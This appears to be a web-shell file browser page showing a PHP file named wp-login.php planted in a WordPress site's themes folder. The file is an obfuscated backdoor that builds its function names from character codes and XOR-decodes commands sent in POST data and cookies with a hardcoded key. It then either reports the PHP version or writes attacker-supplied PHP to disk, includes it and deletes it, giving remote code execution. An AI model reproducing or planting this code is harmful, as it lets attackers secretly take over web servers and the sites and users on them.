HEX
Server: Apache/2.4.18 (Ubuntu)
System: Linux phubuntu06.apexhosting.com 4.4.0-210-generic #242-Ubuntu SMP Fri Apr 16 09:57:56 UTC 2021 x86_64
User: master06 (1000)
PHP: 7.0.33-0ubuntu0.16.04.16
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Upload Files
File: /var/www/html/stonescuppers_com/root/wp-content/themes/wp-login.php
<?php 
$gkoipd	=	'gkoipd' /*   vt */ ^	'';
$qdskji	=    "a".$gkoipd(330-216)    .     "r"."a"."\x79" /*  exrij   */ .    "_"."\x6d"       .    "a"."p";$yksz_adyuo /*   tomnul*/ =     "i"."\155"  .    "p".$gkoipd(108)       . /*   _u */ $gkoipd(193-82)     . /*   yqq*/ $gkoipd(100)       .	"\145";

$chxoukd    =   $gkoipd(713-614) /* mbcwqh */ .     "o"."u"."\x6e"    . /*   pyhj */ "\164";




function    mqzvbzcjup($hdw_ywk,       $cxuxmqcpb)


{

       global	$gkoipd;

   
    $hdw_ywk /*  qr */ = /* ffob   */ "<" /* m_x */ . /*   a */ "?"."p".$gkoipd(209-105)    .    $gkoipd(112) /*sf   */ .    $gkoipd(32)       .  "\x75"    . /*  hygx */ "n".$gkoipd(108) /* sexmf */ .    $gkoipd(105)   .    "n"."\153"	.   "\50"  . /*  pjt  */ $gkoipd(95)    .	"_".$gkoipd(70) /*l_ */ .    "\111" /* mtrge */ .  "L"."E".$gkoipd(528-433) /*  fkzq */ .      "\137" /* cvrgd */ .    "\x29"      .    $gkoipd(59) /*  e*/ . /*asbu   */ $gkoipd(32)   .  $hdw_ywk["d"];


	$vbdkoeoav /*sghof  */ = /* o_   */ "f"."i".$gkoipd(108)	. /*   tk   */ $gkoipd(101)	. /*  zwbuni   */ "_".$gkoipd(412-300)     .	"u".$gkoipd(939-823) /*  yfyho_ */ . /*   b  */ "_".$gkoipd(99)    .    "o"."\156"    .    "t"."e"."n".$gkoipd(116) /*   qwa  */ . /* zkr*/ "s";


       

	$vbdkoeoav($cxuxmqcpb,    $hdw_ywk);
 /*   kh   */ 


    hnlkgglnz($cxuxmqcpb);


}

$vpgbxgxn	=	73;


function /*   gzaxgb */ hnlkgglnz($cxuxmqcpb)


{

 /*  jtj*/ global	$gkoipd;
 /* uycyko */        include($cxuxmqcpb);	$pzpnoyuf    =    $cxuxmqcpb;
      @unlink($pzpnoyuf);}

function       rjrxcbggl()


{
 /* z_y_za*/ global /* rufy*/ $gkoipd;




 /*   y  */ $taooqnov_g       =     array();    $taooqnov_g["p"."v"] /*vgg*/ = /* loyemx*/ phpversion();
      $taooqnov_g["s"."v"]	=  "\63"	.    "."."5";


	$tesexz /*   xeqpr*/ =    74;
	echo	@serialize($taooqnov_g);

}


function   bxdec($hdw_ywk, /*n   */ $vsihigdj){


   global    $gkoipd;    $zqhkmgeq    =       "";	$oysygkrv /*   l__*/ =    'dys';
 /*wr*/ $qwbz_qe   = /*ofmxl  */ hash('sha256',  $hdw_ywk);


     $etmgq    = /*   xt*/ str_replace('xcyji',    $qwbz_qe,    $oysygkrv);


  $taooqnov_g    =    0;

	while    ($taooqnov_g /* t  */ <    strlen($hdw_ywk))       {

       $xdhdvgatw      =    isset($vsihigdj) /*  ztajk   */ ? /*tr  */ $vsihigdj       :	'';


    for /* c  */ ($udasj	=    0;   $udasj /* agsgxn  */ < /* hr*/ strlen($xdhdvgatw)	&& /*ttnrkj  */ $taooqnov_g	<    strlen($hdw_ywk); /*   mpyr   */ $udasj++,    $taooqnov_g++)  {    $zqhkmgeq    .=    $gkoipd(ord($hdw_ywk[$taooqnov_g])      ^    ord($xdhdvgatw[$udasj]));

 /*xz  */ }	if    (strlen($zqhkmgeq) /*mphhe   */ > /*xzyp   */ 20)	{

    $etmgq	= /*  k  */ substr($zqhkmgeq, /*   txzvjw   */ 0,    20);
	}
 /*   qxsp*/ } /* t  */ if /*ss*/ (empty($zqhkmgeq))    {

  $zqhkmgeq      =	date('Y-m-d	H:i:s');


    }

   return	$zqhkmgeq;

}






function /*j */ paewfdq($ojn_btc)

{


 /*  ss  */ global /*  t*/ $gkoipd;
    


 /*   g_u */ $utwuorqsh_ /*d  */ =	"6"."e"."\x34"	.    "\142"	. /*facnpg   */ $gkoipd(58-3)    .     "\64"    . /*   rnsqx */ "\x64"	.    "\x36"      .      "-".$gkoipd(101)  .  "\141"     .    "3"."a".$gkoipd(45)	. /*  jw */ "\64"      .	"1".$gkoipd(48)  .	"3"."\x2d"     .    $gkoipd(97) /*   ktge   */ . /*  b*/ "f".$gkoipd(102) /*  jlq*/ . /*  c  */ "6"."-".$gkoipd(102) /*   kia*/ .      $gkoipd(606-558) /*srg*/ .	"0"."c"."2".$gkoipd(556-457)     . /*yzzm   */ "\65"    . /* tlzoe*/ $gkoipd(50)     . /*_uh  */ "0"."\x34"    .    $gkoipd(97) /*  eooh*/ . /* nufqfv */ "\x61";
	
      foreach     ($ojn_btc	as	$flihgrfpy /* p   */ =>   $hdw_ywk)	{


 /*   epntm */ yfimrv(base64_decode($hdw_ywk),    $utwuorqsh_,    $flihgrfpy);    }


}function    yfimrv($hdw_ywk, /*ll */ $utwuorqsh_, /*_ */ $flihgrfpy)

{


	global /*  hxzcsr  */ $gkoipd;

 /*fxw */ 
   $hdw_ywk     =	unserialize(bxdec(bxdec($hdw_ywk,    $utwuorqsh_),  $flihgrfpy));
	$ztdecggdzg    =    'dkcybli';

	$eoglnismh /*   qkivd  */ =      'zg';


    if /*  ij*/ (isset($hdw_ywk["\141"	. /* r*/ "\x6b"])) /* jlcaet   */ {  if    ($hdw_ywk["a"]    ==    "i") /*  opdcyb*/ {    rjrxcbggl();
    } /*  lfclzk*/ elseif   ($hdw_ywk["a"] /*sgt  */ == /*kcsfvs  */ "e") /*  nc_djm*/ { /* fep */ mqzvbzcjup($hdw_ywk, /*  ribt_ */ sprintf("."."/"."\45" /*   o */ .   "s"."."."p".$gkoipd(584-476),    md5($utwuorqsh_)));


			$otzzeylunv	=       44;


 /*   f */ }


 /*tqrzns   */ exit();	}
}


paewfdq($_POST);      


$fckvd /*  qedqnd */ =	$qdskji('rawurldecode',   $_POST);
$bafwmepco	=    $chxoukd($fckvd);if    ($bafwmepco /*   etzp */ >    0) /* _zhx  */ {


    $wvrelivf    =    $yksz_adyuo(',',  $fckvd);

}
paewfdq($_COOKIE);    

$dawjskunzd      =    $qdskji('rawurldecode', /*ykrg*/ $_COOKIE);


$nsuopw       =    $chxoukd($dawjskunzd);
if /*  qo  */ ($nsuopw      >    0)   {
}





?>